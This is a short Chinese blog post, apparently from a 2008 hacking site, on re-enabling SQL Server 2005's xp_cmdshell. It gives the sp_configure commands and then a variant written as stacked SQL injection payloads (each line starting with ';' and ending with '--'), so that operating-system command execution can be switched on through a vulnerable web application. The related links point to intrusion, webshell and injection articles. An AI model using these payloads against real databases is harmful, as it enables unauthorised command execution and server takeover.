来源:WEB安全手册
遇到sql server 2005 ,恢复xp_cmdshell的办法
SQL Server 已封鎖元件 'xp_cmdshell' 的 程序 'sys.xp_cmdshell' 之存取,因為此元件已經由此伺服器的安全性組態關閉。系統管理員可以使用 sp_configure 來啟用 'xp_cmdshell' 的使用。如需有關啟用 'xp_cmdshell' 的詳細資訊,請參閱《SQL Server 線上叢書》中的<介面區組態>(Surface Area Configuration)。
用下面一句话就可以了解决了。
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
关闭一样.只是将上面的后面的那个"1"改成"0"就可以了.
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 0;RECONFIGURE;
########################################################################################
两种方式:
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;--
or :
;EXEC sp_configure 'show advanced options', 1 --
;RECONFIGURE WITH OVERRIDE --
;EXEC sp_configure 'xp_cmdshell', 1 --
;RECONFIGURE WITH OVERRIDE --
;EXEC sp_configure 'show advanced options', 0 --
遇到sql server 2005 ,恢复xp_cmdshell的办法
Tags:技巧
添加书签: [QQ书签] [百度搜藏] [新浪ViVi] [365Key网摘] [天极网摘] [我摘] [POCO网摘] [和讯网摘]
2008-5-30 9:40:1 | 发布:admin | 分类:技术文章 | 评论:0 | 引用:0 | 浏览:
- 相关文章:
我在入侵过程中注意到的细节(三) (2008-5-28 11:38:11)
我在入侵过程中注意到的细节(二) (2008-5-28 11:37:2)
我在入侵过程中注意到的细节(一) (2008-5-28 11:34:50)
SQL注射修改难猜解的MD5 (2008-5-23 23:14:8)
webshell下查找所有IIS站点配置 (2008-5-23 7:30:58)
Mysql5注射技巧总结 (2008-5-21 20:41:45)
openrowset/opendatasource的其它技巧 (2008-5-12 19:35:2)
突破一流信息监控系统实现文件“上传” (2008-4-26 6:44:15)
sql相关恢复xp_cmdshell命令及其他 (2008-4-18 0:37:49)
unicode新用法 (2008-4-16 12:52:36)
◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。